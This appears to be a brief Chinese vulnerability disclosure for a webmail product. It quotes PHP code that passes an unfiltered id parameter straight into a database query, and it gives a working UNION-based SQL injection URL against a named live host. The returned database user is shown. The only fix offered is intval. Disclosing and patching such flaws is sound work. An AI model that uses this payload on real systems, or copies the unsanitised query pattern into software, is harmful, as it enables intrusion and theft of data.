漏洞文件：client\option\module\views.php

if ( ACTION == "letterpaper" )
{
$lp_id = gss( $_GET['id'] );
if ( $lp_id )
{
if ( $lp_id == "add" )
{
$lp_info['letterpaper'] = "<div id=\"lp_wrap\" style=\"background-color:#fff;color:#000;font-size:12px;padding:20px 30px;\"><div id=\"lp_wrap_content\"></div></div>";
}
else
{
$lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );
}
}
else
{
$lp_list = $Widget->get_letterpaper( array(
"fields" => "*",
"where" => "UserID=0 or UserID=".$user_id,
"orderby" => "UserID",
"debug" => 0
) );
}
include( load_tpl( "op_letterpaper" ) );
}

未过滤直接进入查询

$lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );

http://mail.comingchina.com/webmail/client/option/index.php?module=view&action=letterpaper&id=1%20and%201=2%20union%20select%201,2,3,user(),5,6,7,8

<div class="hasselect" style="display:none;" id="hasPic">
<span>背景图片：</span>
<div class="bgtypecontrol">
<img id="littleimg" src="umail@localhost">

修复方案：

intval